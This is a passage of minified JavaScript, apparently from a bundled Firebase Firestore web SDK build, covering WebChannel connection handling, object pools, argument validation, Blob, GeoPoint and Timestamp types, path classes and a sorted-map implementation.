n=D(this.Pg,this);e||(e=new He("//www.google.com/images/cleardot.gif"),d.location&&"http"==d.location.protocol||e.tb("https"),e.Ub()),function(t,e){var n=new Se;n.debug("TestLoadImage: loading "+t);var r=new Image;r.onload=N(fn,n,r,"TestLoadImage: loaded",!0,e),r.onerror=N(fn,n,r,"TestLoadImage: error",!1,e),r.onabort=N(fn,n,r,"TestLoadImage: abort",!1,e),r.ontimeout=N(fn,n,r,"TestLoadImage: timeout",!1,e),d.setTimeout(function(){r.ontimeout&&r.ontimeout()},1e4),r.src=t}(e.toString(),n)}else Ne(2);this.cg(t)},h.Pg=function(t){t?(this.a.info("Successfully pinged google.com"),Ne(2)):(this.a.info("Failed to ping google.com"),Ne(1))},h.cg=function(t){this.a.debug("HttpChannel: error - "+t),this.g=0,this.i&&this.i.td(t),this.qe(),this.qd()},h.qe=function(){if(this.g=0,this.w=-1,this.i){var t=this.G.la();if(0!=t.length||0!=this.M.length){var e=this;this.a.debug(function(){return"Number of undelivered maps, pending: "+t.length+", outgoing: "+e.M.length}),this.G.$e(),Q(this.M),this.M.length=0}this.i.sd()}},h.Sd=function(t){return t=this.Cd(null,t),this.a.debug("GetForwardChannelUri: "+t),t},h.Pd=function(t,e){return t=this.Cd(this.fc()?t:null,e),this.a.debug("GetBackChannelUri: "+t),t},h.Cd=function(t,e){var n=function(t){return t instanceof He?t.clone():new He(t,void 0)}(e);if(""!=n.xa)t&&n.rb(t+"."+n.xa),n.sb(n.Ca);else{var r=d.location;n=function(t,e,n,r){var i=new He(null,void 0);return t&&i.tb(t),e&&i.rb(e),n&&i.sb(n),r&&i.ec(r),i}(r.protocol,t?t+"."+r.hostname:r.hostname,+r.port,e)}return this.gb&&Y(this.gb,function(t,e){n.l(e,t)}),t=this.aa,e=this.Kc,t&&e&&n.l(t,e),n.l("VER",this.tc),this.Ya(n),n},h.Jb=function(t){if(t&&!this.gc)throw Error("Can't create secondary domain capable XhrIo object.");return(t=new pn(this.Xa)).Je(this.gc),t},h.Ba=function(){return!!this.i&&this.i.Ba()},h.fc=function(){return this.gc},(h=Sn.prototype).sc=null,h.wd=function(){},h.ud=function(){},h.td=function(){},h.sd=function(){},h.Ba=function(){return!0},h.Ue=function(){},h.$a=function(t){return t},En.prototype.cf=function(t,e){return new In(t,e)},k(In,jt),(h=In.prototype).addEventListener=function(t,e,n,r){In.L.addEventListener.call(this,t,e,n,r)},h.removeEventListener=function(t,e,n,r){In.L.removeEventListener.call(this,t,e,n,r)},h.open=function(){this.b.Ee(this.vd),this.Og&&this.b.Hg(),this.b.connect(this.Qg,this.yb,this.Rc||void 0)},h.close=function(){this.b.disconnect()},h.send=function(t){if(p(t)){var e={};e.__data__=t,this.b.Zc(e)}else this.zg?((e={}).__data__=Gt(t),this.b.Zc(e)):this.b.Zc(t)},h.F=function(){this.b.Ee(null),delete this.vd,this.b.disconnect(),delete this.b,In.L.F.call(this)},k(Cn,xe),k(Dn,qe),k(Nn,Sn),Nn.prototype.wd=function(){we(this.b.s,"WebChannel opened on "+this.b.yb),this.b.dispatchEvent("a")},Nn.prototype.ud=function(t){this.b.dispatchEvent(new Cn(t))},Nn.prototype.td=function(t){we(this.b.s,"WebChannel aborted on "+this.b.yb+" due to channel error: "+t),this.b.dispatchEvent(new Dn(t))},Nn.prototype.sd=function(){we(this.b.s,"WebChannel closed on "+this.b.yb),this.b.dispatchEvent("b")};var An=N(function(t,e){function n(){}n.prototype=t.prototype;var r=new n;return t.apply(r,Array.prototype.slice.call(arguments,1)),r},En);function kn(){this.V=[],this.Z=[]}function Rn(t,e){if(O.call(this),this.oe=t||0,this.Wb=e||10,this.oe>this.Wb)throw Error(Mn);this.fa=new kn,this.oa=new sn,this.Ac=0,this.Nc=null,this.Cb()}(h=kn.prototype).Vf=function(){0==this.V.length&&(this.V=this.Z,this.V.reverse(),this.Z=[])},h.enqueue=function(t){this.Z.push(t)},h.ab=function(){return this.Vf(),this.V.pop()},h.C=function(){return this.V.length+this.Z.length},h.X=function(){return 0==this.V.length&&0==this.Z.length},h.clear=function(){this.V=[],this.Z=[]},h.contains=function(t){return 0<=L(this.V,t)||0<=L(this.Z,t)},h.remove=function(t){var e=this.V,n=x(e,t);return 0<=n?(Array.prototype.splice.call(e,n,1),e=!0):e=!1,e||B(this.Z,t)},h.H=function(){for(var t=[],e=this.V.length-1;0<=e;--e)t.push(this.V[e]);var n=this.Z.length;for(e=0;e<n;++e)t.push(this.Z[e]);return t},k(Rn,O);var Mn="[goog.structs.Pool] Min can not be greater than max";function On(t,e){this.fe=t,this.gd=e}function Pn(t){this.Y=[],t&&this.Lf(t)}function _n(){Pn.call(this)}function Ln(t,e){this.Gd=void 0,this.cc=new _n,Rn.call(this,t,e)}function xn(t,e,n,r){this.Jf=t,this.Ab=!!r,Ln.call(this,e,n)}(h=Rn.prototype).Mb=function(){var t=A();if(!(null!=this.Nc&&t-this.Nc<this.Ac)){var e=this.qg();return e&&(this.Nc=t,this.oa.add(e)),e}},h.og=function(t){return!!this.oa.remove(t)&&(this.nc(t),!0)},h.qg=function(){for(var t;0<this.Td()&&(t=this.fa.ab(),!this.Sc(t));)this.Cb();return!t&&this.C()<this.Wb&&(t=this.xc()),t},h.nc=function(t){this.oa.remove(t),this.Sc(t)&&this.C()<this.Wb?this.fa.enqueue(t):this.Bc(t)},h.Cb=function(){for(var t=this.fa;this.C()<this.oe;)t.enqueue(this.xc());for(;this.C()>this.Wb&&0<this.Td();)this.Bc(t.ab())},h.xc=function(){return{}},h.Bc=function(t){if("function"==typeof t.bb)t.bb();else for(var e in t)t[e]=null},h.Sc=function(t){return"function"!=typeof t.Ye||t.Ye()},h.contains=function(t){return this.fa.contains(t)||this.oa.contains(t)},h.C=function(){return this.fa.C()+this.oa.C()},h.rf=function(){return this.oa.C()},h.Td=function(){return this.fa.C()},h.X=function(){return this.fa.X()&&this.oa.X()},h.F=function(){if(Rn.L.F.call(this),0<this.rf())throw Error("[goog.structs.Pool] Objects not released");delete this.oa;for(var t=this.fa;!t.X();)this.Bc(t.ab());delete this.fa},On.prototype.getKey=function(){return this.fe},On.prototype.clone=function(){return new On(this.fe,this.gd)},(h=Pn.prototype).ce=function(t,e){var n=this.Y;n.push(new On(t,e)),this.$f(n.length-1)},h.Lf=function(t){if(t instanceof Pn){var e=t.W();if(t=t.H(),0>=this.C()){for(var n=this.Y,r=0;r<e.length;r++)n.push(new On(e[r],t[r]));return}}else e=$(t),t=J(t);for(r=0;r<e.length;r++)this.ce(e[r],t[r])},h.remove=function(){var t=this.Y,e=t.length,n=t[0];if(!(0>=e))return 1==e?V(t):(t[0]=t.pop(),this.Zf()),n.gd},h.Zf=function(){for(var t=0,e=this.Y,n=e.length,r=e[t];t<n>>1;){var i=this.tf(t),o=this.zf(t);if(e[i=o<n&&e[o].getKey()<e[i].getKey()?o:i].getKey()>r.getKey())break;e[t]=e[i],t=i}e[t]=r},h.$f=function(t){for(var e=this.Y,n=e[t];0<t;){var r=this.wf(t);if(!(e[r].getKey()>n.getKey()))break;e[t]=e[r],t=r}e[t]=n},h.tf=function(t){return 2*t+1},h.zf=function(t){return 2*t+2},h.wf=function(t){return t-1>>1},h.H=function(){for(var t=this.Y,e=[],n=t.length,r=0;r<n;r++)e.push(t[r].gd);return e},h.W=function(){for(var t=this.Y,e=[],n=t.length,r=0;r<n;r++)e.push(t[r].getKey());return e},h.va=function(t){return F(this.Y,function(e){return e.getKey()==t})},h.clone=function(){return new Pn(this)},h.C=function(){return this.Y.length},h.X=function(){return 0==this.Y.length},h.clear=function(){V(this.Y)},k(_n,Pn),_n.prototype.enqueue=function(t,e){this.ce(t,e)},_n.prototype.ab=function(){return this.remove()},k(Ln,Rn),(h=Ln.prototype).Mb=function(t,e){if(!t)return(t=Ln.L.Mb.call(this))&&this.Ac&&(this.Gd=d.setTimeout(D(this.Nb,this),this.Ac)),t;this.cc.enqueue(void 0!==e?e:100,t),this.Nb()},h.Nb=function(){for(var t=this.cc;0<t.C();){var e=this.Mb();if(!e)break;t.ab().apply(this,[e])}},h.nc=function(t){Ln.L.nc.call(this,t),this.Nb()},h.Cb=function(){Ln.L.Cb.call(this),this.Nb()},h.F=function(){Ln.L.F.call(this),d.clearTimeout(this.Gd),this.cc.clear(),this.cc=null},k(xn,Ln),xn.prototype.xc=function(){var t=new pn,e=this.Jf;return e&&e.forEach(function(e,n){t.headers.set(n,e)}),this.Ab&&t.Je(!0),t},xn.prototype.Sc=function(t){return!t.Ka&&!t.Ba()},En.prototype.createWebChannel=En.prototype.cf,In.prototype.send=In.prototype.send,In.prototype.open=In.prototype.open,In.prototype.close=In.prototype.close,Re.NO_ERROR=0,Re.TIMEOUT=8,Re.HTTP_ERROR=6,Me.COMPLETE="complete",Pe.EventType=Le,Le.OPEN="a",Le.CLOSE="b",Le.ERROR="c",Le.MESSAGE="d",jt.prototype.listen=jt.prototype.nb,xn.prototype.getObject=xn.prototype.Mb,xn.prototype.releaseObject=xn.prototype.og,pn.prototype.listenOnce=pn.prototype.Oc,pn.prototype.getLastError=pn.prototype.Hc,pn.prototype.getLastErrorCode=pn.prototype.Ud,pn.prototype.getStatus=pn.prototype.za,pn.prototype.getStatusText=pn.prototype.Yd,pn.prototype.getResponseJson=pn.prototype.yf,pn.prototype.getResponseText=pn.prototype.ya,pn.prototype.getResponseText=pn.prototype.ya,pn.prototype.send=pn.prototype.send;var qn,Fn,Vn={createWebChannelTransport:An,ErrorCode:Re,EventType:Me,WebChannel:Pe,XhrIoPool:xn},Bn=Vn.createWebChannelTransport,Un=Vn.ErrorCode,Qn=Vn.EventType,Kn=Vn.WebChannel,Wn=Vn.XhrIoPool,jn=e.SDK_VERSION,Gn=new o("@firebase/firestore");function zn(){return Gn.logLevel===n.DEBUG?qn.DEBUG:Gn.logLevel===n.SILENT?qn.SILENT:qn.ERROR}function Hn(t){switch(t){case qn.DEBUG:Gn.logLevel=n.DEBUG;break;case qn.ERROR:Gn.logLevel=n.ERROR;break;case qn.SILENT:Gn.logLevel=n.SILENT;break;default:Gn.error("Firestore ("+jn+"): Invalid value passed to `setLogLevel`")}}function Xn(t,e){for(var r=[],i=2;i<arguments.length;i++)r[i-2]=arguments[i];if(Gn.logLevel<=n.DEBUG){var o=r.map(Jn);Gn.debug.apply(Gn,["Firestore ("+jn+") ["+t+"]: "+e].concat(o))}}function Yn(t){for(var e=[],r=1;r<arguments.length;r++)e[r-1]=arguments[r];if(Gn.logLevel<=n.ERROR){var i=e.map(Jn);Gn.error.apply(Gn,["Firestore ("+jn+"): "+t].concat(i))}}function Jn(t){if("string"==typeof t)return t;var e=tr.getPlatform();try{return e.formatJSON(t)}catch(e){return t}}function $n(t){var e="FIRESTORE ("+jn+") INTERNAL ASSERTION FAILED: "+t;throw Yn(e),new Error(e)}function Zn(t,e){t||$n(e)}(Fn=qn||(qn={}))[Fn.DEBUG=0]="DEBUG",Fn[Fn.ERROR=1]="ERROR",Fn[Fn.SILENT=2]="SILENT";var tr=function(){function t(){}return t.setPlatform=function(e){t.platform&&$n("Platform already defined"),t.platform=e},t.getPlatform=function(){return t.platform||$n("Platform not set"),t.platform},t}();function er(){return tr.getPlatform().emptyByteString}var nr={OK:"ok",CANCELLED:"cancelled",UNKNOWN:"unknown",INVALID_ARGUMENT:"invalid-argument",DEADLINE_EXCEEDED:"deadline-exceeded",NOT_FOUND:"not-found",ALREADY_EXISTS:"already-exists",PERMISSION_DENIED:"permission-denied",UNAUTHENTICATED:"unauthenticated",RESOURCE_EXHAUSTED:"resource-exhausted",FAILED_PRECONDITION:"failed-precondition",ABORTED:"aborted",OUT_OF_RANGE:"out-of-range",UNIMPLEMENTED:"unimplemented",INTERNAL:"internal",UNAVAILABLE:"unavailable",DATA_LOSS:"data-loss"},rr=function(t){function e(e,n){var r=t.call(this,n)||this;return r.code=e,r.message=n,r.name="FirebaseError",r.toString=function(){return r.name+": [code="+r.code+"]: "+r.message},r}return a(e,t),e}(Error);function ir(t,e){function n(){var t="This constructor is private.";throw e&&(t+=" ",t+=e),new rr(nr.INVALID_ARGUMENT,t)}for(var r in n.prototype=t.prototype,t)t.hasOwnProperty(r)&&(n[r]=t[r]);return n}function or(t,e){return Object.prototype.hasOwnProperty.call(t,e)}function sr(t,e){return void 0!==t?t:e}function ar(t,e){for(var n in t)if(Object.prototype.hasOwnProperty.call(t,n)){var r=Number(n);isNaN(r)||e(r,t[n])}}function ur(t,e){for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&e(n,t[n])}function cr(t){for(var e in Zn(null!=t&&"object"==typeof t,"isEmpty() expects object parameter."),t)if(Object.prototype.hasOwnProperty.call(t,e))return!1;return!0}function hr(t,e,n){if(e.length!==n)throw new rr(nr.INVALID_ARGUMENT,"Function "+t+"() requires "+Dr(n,"argument")+", but was called with "+Dr(e.length,"argument")+".")}function lr(t,e,n){if(e.length<n)throw new rr(nr.INVALID_ARGUMENT,"Function "+t+"() requires at least "+Dr(n,"argument")+", but was called with "+Dr(e.length,"argument")+".")}function fr(t,e,n,r){if(e.length<n||e.length>r)throw new rr(nr.INVALID_ARGUMENT,"Function "+t+"() requires between "+n+" and "+r+" arguments, but was called with "+Dr(e.length,"argument")+".")}function dr(t,e,n,r){br(t,e,Cr(n)+" argument",r)}function pr(t,e,n,r){void 0!==r&&dr(t,e,n,r)}function mr(t,e,n,r){br(t,e,n+" option",r)}function yr(t,e,n,r){void 0!==r&&mr(t,e,n,r)}function gr(t,e,n,r,i){void 0!==r&&function(t,e,n,r,i){if(!(r instanceof Array))throw new rr(nr.INVALID_ARGUMENT,"Function "+t+"() requires its "+e+" option to be an array, but it was: "+Tr(r));for(var o=0;o<r.length;++o)if(!i(r[o]))throw new rr(nr.INVALID_ARGUMENT,"Function "+t+"() requires all "+e+" elements to be "+n+", but the value at index "+o+" was: "+Tr(r[o]))}(t,e,n,r,i)}function vr(t,e,n,r,i){void 0!==r&&function(t,e,n,r,i){for(var o=[],s=0,a=i;s<a.length;s++){var u=a[s];if(u===r)return;o.push(Tr(u))}var c=Tr(r);throw new rr(nr.INVALID_ARGUMENT,"Invalid value "+c+" provided to function "+t+'() for option "'+n+'". Acceptable values: '+o.join(", "))}(t,0,n,r,i)}function br(t,e,n,r){if(!("object"===e?wr(r):"non-empty string"===e?"string"==typeof r&&""!==r:typeof r===e)){var i=Tr(r);throw new rr(nr.INVALID_ARGUMENT,"Function "+t+"() requires its "+n+" to be of type "+e+", but it was: "+i)}}function wr(t){return"object"==typeof t&&null!==t&&(Object.getPrototypeOf(t)===Object.prototype||null===Object.getPrototypeOf(t))}function Tr(t){if(void 0===t)return"undefined";if(null===t)return"null";if("string"==typeof t)return t.length>20&&(t=t.substring(0,20)+"..."),JSON.stringify(t);if("number"==typeof t||"boolean"==typeof t)return""+t;if("object"==typeof t){if(t instanceof Array)return"an array";var e=function(t){if(t.constructor){var e=/function\s+([^\s(]+)\s*\(/.exec(t.constructor.toString());if(e&&e.length>1)return e[1]}return null}(t);return e?"a custom "+e+" object":"an object"}return"function"==typeof t?"a function":$n("Unknown wrong type: "+typeof t)}function Sr(t,e,n){if(void 0===n)throw new rr(nr.INVALID_ARGUMENT,"Function "+t+"() requires a valid "+Cr(e)+" argument, but it was undefined.")}function Er(t,e,n){ur(e,function(e,r){if(n.indexOf(e)<0)throw new rr(nr.INVALID_ARGUMENT,"Unknown option '"+e+"' passed to function "+t+"(). Available options: "+n.join(", "))})}function Ir(t,e,n,r){var i=Tr(r);return new rr(nr.INVALID_ARGUMENT,"Function "+t+"() requires its "+Cr(n)+" argument to be a "+e+", but it was: "+i)}function Cr(t){switch(t){case 1:return"first";case 2:return"second";case 3:return"third";default:return t+"th"}}function Dr(t,e){return t+" "+e+(1===t?"":"s")}var Nr=function(){function t(){}return t.newId=function(){for(var t="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",e="",n=0;n<20;n++)e+=t.charAt(Math.floor(Math.random()*t.length));return Zn(20===e.length,"Invalid auto ID: "+e),e},t}();function Ar(t,e){return t<e?-1:t>e?1:0}function kr(t,e){if(t.length!==e.length)return!1;for(var n=0;n<t.length;n++)if(!t[n].isEqual(e[n]))return!1;return!0}function Rr(){if("undefined"==typeof Uint8Array)throw new rr(nr.UNIMPLEMENTED,"Uint8Arrays are not available in this environment.")}function Mr(){if(!tr.getPlatform().base64Available)throw new rr(nr.UNIMPLEMENTED,"Blobs are unavailable in Firestore in this environment.")}var Or,Pr,_r=function(){function t(t){Mr(),this._binaryString=t}return t.fromBase64String=function(e){hr("Blob.fromBase64String",arguments,1),dr("Blob.fromBase64String","string",1,e),Mr();try{return new t(tr.getPlatform().atob(e))}catch(t){throw new rr(nr.INVALID_ARGUMENT,"Failed to construct Blob from Base64 string: "+t)}},t.fromUint8Array=function(e){if(hr("Blob.fromUint8Array",arguments,1),Rr(),!(e instanceof Uint8Array))throw Ir("Blob.fromUint8Array","Uint8Array",1,e);return new t(Array.prototype.map.call(e,function(t){return String.fromCharCode(t)}).join(""))},t.prototype.toBase64=function(){return hr("Blob.toBase64",arguments,0),Mr(),tr.getPlatform().btoa(this._binaryString)},t.prototype.toUint8Array=function(){hr("Blob.toUint8Array",arguments,0),Rr();for(var t=new Uint8Array(this._binaryString.length),e=0;e<this._binaryString.length;e++)t[e]=this._binaryString.charCodeAt(e);return t},t.prototype.toString=function(){return"Blob(base64: "+this.toBase64()+")"},t.prototype.isEqual=function(t){return this._binaryString===t._binaryString},t.prototype._compareTo=function(t){return Ar(this._binaryString,t._binaryString)},t}(),Lr=ir(_r,"Use Blob.fromUint8Array() or Blob.fromBase64String() instead."),xr=function(){function t(t,e){if(hr("GeoPoint",arguments,2),dr("GeoPoint","number",1,t),dr("GeoPoint","number",2,e),!isFinite(t)||t<-90||t>90)throw new rr(nr.INVALID_ARGUMENT,"Latitude must be a number between -90 and 90, but was: "+t);if(!isFinite(e)||e<-180||e>180)throw new rr(nr.INVALID_ARGUMENT,"Longitude must be a number between -180 and 180, but was: "+e);this._lat=t,this._long=e}return Object.defineProperty(t.prototype,"latitude",{get:function(){return this._lat},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,"longitude",{get:function(){return this._long},enumerable:!0,configurable:!0}),t.prototype.isEqual=function(t){return this._lat===t._lat&&this._long===t._long},t.prototype._compareTo=function(t){return Ar(this._lat,t._lat)||Ar(this._long,t._long)},t}(),qr=function(){function t(t,e){if(this.seconds=t,this.nanoseconds=e,e<0)throw new rr(nr.INVALID_ARGUMENT,"Timestamp nanoseconds out of range: "+e);if(e>=1e9)throw new rr(nr.INVALID_ARGUMENT,"Timestamp nanoseconds out of range: "+e);if(t<-62135596800)throw new rr(nr.INVALID_ARGUMENT,"Timestamp seconds out of range: "+t);if(t>=253402300800)throw new rr(nr.INVALID_ARGUMENT,"Timestamp seconds out of range: "+t)}return t.now=function(){return t.fromMillis(Date.now())},t.fromDate=function(e){return t.fromMillis(e.getTime())},t.fromMillis=function(e){var n=Math.floor(e/1e3);return new t(n,1e6*(e-1e3*n))},t.prototype.toDate=function(){return new Date(this.toMillis())},t.prototype.toMillis=function(){return 1e3*this.seconds+this.nanoseconds/1e6},t.prototype._compareTo=function(t){return this.seconds===t.seconds?Ar(this.nanoseconds,t.nanoseconds):Ar(this.seconds,t.seconds)},t.prototype.isEqual=function(t){return t.seconds===this.seconds&&t.nanoseconds===this.nanoseconds},t.prototype.toString=function(){return"Timestamp(seconds="+this.seconds+", nanoseconds="+this.nanoseconds+")"},t}(),Fr=function(){return function(t,e,n,r){this.databaseId=t,this.persistenceKey=e,this.host=n,this.ssl=r}}(),Vr="(default)",Br=function(){function t(t,e){this.projectId=t,this.database=e||Vr}return Object.defineProperty(t.prototype,"isDefaultDatabase",{get:function(){return this.database===Vr},enumerable:!0,configurable:!0}),t.prototype.isEqual=function(e){return e instanceof t&&e.projectId===this.projectId&&e.database===this.database},t.prototype.compareTo=function(t){return Ar(this.projectId,t.projectId)||Ar(this.database,t.database)},t}(),Ur=function(){function t(t,e,n){this.init(t,e,n)}return t.prototype.init=function(t,e,n){void 0===e?e=0:e>t.length&&$n("offset "+e+" out of range "+t.length),void 0===n?n=t.length-e:n>t.length-e&&$n("length "+n+" out of range "+(t.length-e)),this.segments=t,this.offset=e,this.len=n},t.prototype.construct=function(t,e,n){var r=Object.create(Object.getPrototypeOf(this));return r.init(t,e,n),r},Object.defineProperty(t.prototype,"length",{get:function(){return this.len},enumerable:!0,configurable:!0}),t.prototype.isEqual=function(e){return 0===t.comparator(this,e)},t.prototype.child=function(e){var n=this.segments.slice(this.offset,this.limit());return e instanceof t?e.forEach(function(t){n.push(t)}):"string"==typeof e?n.push(e):$n("Unknown parameter type for Path.child(): "+e),this.construct(n)},t.prototype.limit=function(){return this.offset+this.length},t.prototype.popFirst=function(t){return t=void 0===t?1:t,Zn(this.length>=t,"Can't call popFirst() with less segments"),this.construct(this.segments,this.offset+t,this.length-t)},t.prototype.popLast=function(){return Zn(!this.isEmpty(),"Can't call popLast() on empty path"),this.construct(this.segments,this.offset,this.length-1)},t.prototype.firstSegment=function(){return Zn(!this.isEmpty(),"Can't call firstSegment() on empty path"),this.segments[this.offset]},t.prototype.lastSegment=function(){return Zn(!this.isEmpty(),"Can't call lastSegment() on empty path"),this.segments[this.limit()-1]},t.prototype.get=function(t){return Zn(t<this.length,"Index out of range"),this.segments[this.offset+t]},t.prototype.isEmpty=function(){return 0===this.length},t.prototype.isPrefixOf=function(t){if(t.length<this.length)return!1;for(var e=0;e<this.length;e++)if(this.get(e)!==t.get(e))return!1;return!0},t.prototype.isImmediateParentOf=function(t){if(this.length+1!==t.length)return!1;for(var e=0;e<this.length;e++)if(this.get(e)!==t.get(e))return!1;return!0},t.prototype.forEach=function(t){for(var e=this.offset,n=this.limit();e<n;e++)t(this.segments[e])},t.prototype.toArray=function(){return this.segments.slice(this.offset,this.limit())},t.comparator=function(t,e){for(var n=Math.min(t.length,e.length),r=0;r<n;r++){var i=t.get(r),o=e.get(r);if(i<o)return-1;if(i>o)return 1}return t.length<e.length?-1:t.length>e.length?1:0},t}(),Qr=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.prototype.canonicalString=function(){return this.toArray().join("/")},e.prototype.toString=function(){return this.canonicalString()},e.fromString=function(t){if(t.indexOf("//")>=0)throw new rr(nr.INVALID_ARGUMENT,"Invalid path ("+t+"). Paths must not contain // in them.");return new e(t.split("/").filter(function(t){return t.length>0}))},e.EMPTY_PATH=new e([]),e}(Ur),Kr=/^[_a-zA-Z][_a-zA-Z0-9]*$/,Wr=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a(e,t),e.isValidIdentifier=function(t){return Kr.test(t)},e.prototype.canonicalString=function(){return this.toArray().map(function(t){return t=t.replace("\\","\\\\").replace("`","\\`"),e.isValidIdentifier(t)||(t="`"+t+"`"),t}).join(".")},e.prototype.toString=function(){return this.canonicalString()},e.prototype.isKeyField=function(){return 1===this.length&&"__name__"===this.get(0)},e.keyField=function(){return new e(["__name__"])},e.fromServerFormat=function(t){for(var n=[],r="",i=0,o=function(){if(0===r.length)throw new rr(nr.INVALID_ARGUMENT,"Invalid field path ("+t+"). Paths must not be empty, begin with '.', end with '.', or contain '..'");n.push(r),r=""},s=!1;i<t.length;){var a=t[i];if("\\"===a){if(i+1===t.length)throw new rr(nr.INVALID_ARGUMENT,"Path has trailing escape character: "+t);var u=t[i+1];if("\\"!==u&&"."!==u&&"`"!==u)throw new rr(nr.INVALID_ARGUMENT,"Path has invalid escape sequence: "+t);r+=u,i+=2}else"`"===a?(s=!s,i++):"."!==a||s?(r+=a,i++):(o(),i++)}if(o(),s)throw new rr(nr.INVALID_ARGUMENT,"Unterminated ` in path: "+t);return new e(n)},e.EMPTY_PATH=new e([]),e}(Ur),jr=function(){function t(e){this.path=e,Zn(t.isDocumentKey(e),"Invalid DocumentKey with an odd number of segments: "+e.toArray().join("/"))}return t.prototype.isEqual=function(t){return null!==t&&0===Qr.comparator(this.path,t.path)},t.prototype.toString=function(){return this.path.toString()},t.comparator=function(t,e){return Qr.comparator(t.path,e.path)},t.isDocumentKey=function(t){return t.length%2==0},t.fromSegments=function(e){return new t(new Qr(e.slice()))},t.fromPathString=function(e){return new t(Qr.fromString(e))},t.EMPTY=new t(new Qr([])),t}(),Gr=function(){function t(t,e){this.key=t,this.version=e}return t.compareByKey=function(t,e){return jr.comparator(t.key,e.key)},t}(),zr=function(t){function e(e,n,r,i){var o=t.call(this,e,n)||this;return o.data=r,o.hasLocalMutations=!!i.hasLocalMutations,o.hasCommittedMutations=!!i.hasCommittedMutations,o}return a(e,t),e.prototype.field=function(t){return this.data.field(t)},e.prototype.fieldValue=function(t){var e=this.field(t);return e?e.value():void 0},e.prototype.value=function(){return this.data.value()},e.prototype.isEqual=function(t){return t instanceof e&&this.key.isEqual(t.key)&&this.version.isEqual(t.version)&&this.data.isEqual(t.data)&&this.hasLocalMutations===t.hasLocalMutations&&this.hasCommittedMutations===t.hasCommittedMutations},e.prototype.toString=function(){return"Document("+this.key+", "+this.version+", "+this.data.toString()+", {hasLocalMutations: "+this.hasLocalMutations+"}), {hasCommittedMutations: "+this.hasCommittedMutations+"})"},Object.defineProperty(e.prototype,"hasPendingWrites",{get:function(){return this.hasLocalMutations||this.hasCommittedMutations},enumerable:!0,configurable:!0}),e.compareByField=function(t,e,n){var r=e.field(t),i=n.field(t);return void 0!==r&&void 0!==i?r.compareTo(i):$n("Trying to compare documents on fields that don't exist")},e}(Gr),Hr=function(t){function e(e,n,r){var i=t.call(this,e,n)||this;return i.hasCommittedMutations=!(!r||!r.hasCommittedMutations),i}return a(e,t),e.prototype.toString=function(){return"NoDocument("+this.key+", "+this.version+")"},Object.defineProperty(e.prototype,"hasPendingWrites",{get:function(){return this.hasCommittedMutations},enumerable:!0,configurable:!0}),e.prototype.isEqual=function(t){return t instanceof e&&t.hasCommittedMutations===this.hasCommittedMutations&&t.version.isEqual(this.version)&&t.key.isEqual(this.key)},e}(Gr),Xr=function(t){function e(e,n){return t.call(this,e,n)||this}return a(e,t),e.prototype.toString=function(){return"UnknownDocument("+this.key+", "+this.version+")"},Object.defineProperty(e.prototype,"hasPendingWrites",{get:function(){return!0},enumerable:!0,configurable:!0}),e.prototype.isEqual=function(t){return t instanceof e&&t.version.isEqual(this.version)&&t.key.isEqual(this.key)},e}(Gr),Yr=function(){function t(t,e){this.comparator=t,this.root=e||$r.EMPTY}return t.prototype.insert=function(e,n){return new t(this.comparator,this.root.insert(e,n,this.comparator).copy(null,null,$r.BLACK,null,null))},t.prototype.remove=function(e){return new t(this.comparator,this.root.remove(e,this.comparator).copy(null,null,$r.BLACK,null,null))},t.prototype.get=function(t){for(var e=this.root;!e.isEmpty();){var n=this.comparator(t,e.key);if(0===n)return e.value;n<0?e=e.left:n>0&&(e=e.right)}return null},t.prototype.indexOf=function(t){for(var e=0,n=this.root;!n.isEmpty();){var r=this.comparator(t,n.key);if(0===r)return e+n.left.size;r<0?n=n.left:(e+=n.left.size+1,n=n.right)}return-1},t.prototype.isEmpty=function(){return this.root.isEmpty()},Object.defineProperty(t.prototype,"size",{get:function(){return this.root.size},enumerable:!0,configurable:!0}),t.prototype.minKey=function(){return this.root.minKey()},t.prototype.maxKey=function(){return this.root.maxKey()},t.prototype.inorderTraversal=function(t){return this.root.inorderTraversal(t)},t.prototype.forEach=function(t){this.inorderTraversal(function(e,n){return t(e,n),!1})},t.prototype.reverseTraversal=function(t){return this.root.reverseTraversal(t)},t.prototype.getIterator=function(){return new Jr(this.root,null,this.comparator,!1)},t.prototype.getIteratorFrom=function(t){return new Jr(this.root,t,this.comparator,!1)},t.prototype.getReverseIterator=function(){return new Jr(this.root,null,this.comparator,!0)},t.prototype.getReverseIteratorFrom=function(t){return new Jr(this.root,t,this.comparator,!0)},t.prototype[Symbol.iterator]=function(){var t=this.getIterator();return{next:function(){return t.hasNext()?{done:!1,value:t.getNext()}:{done:!0,value:{}}}}},t}(),Jr=function(){function t(t,e,n,r){this.isReverse=r,this.nodeStack=[];for(var i=1;!t.isEmpty();)if(i=e?n(t.key,e):1,r&&(i*=-1),i<0)t=this.isReverse?t.left:t.right;else{if(0===i){this.nodeStack.push(t);break}this.nodeStack.push(t),t=this.isReverse?t.right:t.left}}return t.prototype.getNext=function(){Zn(this.nodeStack.length>0,"getNext() called on iterator when hasNext() is false.");var t=this.nodeStack.pop(),e={key:t.key,value:t.value};if(this.isReverse)for(t=t.left;!t.isEmpty();)this.nodeStack.push(t),t=t.right;else for(t=t.right;!t.isEmpty();)this.nodeStack.push(t),t=t.left;return e},t.prototype.hasNext=function(){return this.nodeStack.length>0},t.prototype.peek=function(){if(0===this.nodeStack.length)return null;var t=this.nodeStack[this.nodeStack.length-1];return{key:t.key,value:t.value}},t}(),$r=function(){function t(e,n,r,i,o){this.key=e,this.value=n,this.color=null!=r?r:t.RED,this.left=null!=i?i:t.EMPTY,this.right=null!=o?o:t.EMPTY,this.size=this.left.size+1+this.right.size}return t.prototype.copy=function(e,n,r,i,o){return new t(null!=e?e:this.key,null!=n?n:this.value,null!=r?r:this.color,null!=i?i:this.left,null!=o?o:this.right)},t.prototype.isEmpty=function(){return!1},t.prototype.inorderTraversal=function(t){return this.left.inorderTraversal(t)||t(this.key,this.value)||this.right.inorderTraversal(t)},t.prototype.reverseTraversal=function(t){return this.right.reverseTraversal(t)||t(this.key,this.value)||this.left.reverseTraversal(t)},t.prototype.min=function(){return this.left.isEmpty()?this:this.left.min()},t.prototype.minKey=function(){return this.min().key},t.prototype.maxKey=function(){return this.right.isEmpty()?this.key:this.right.maxKey()},t.prototype.insert=function(t,e,n){var 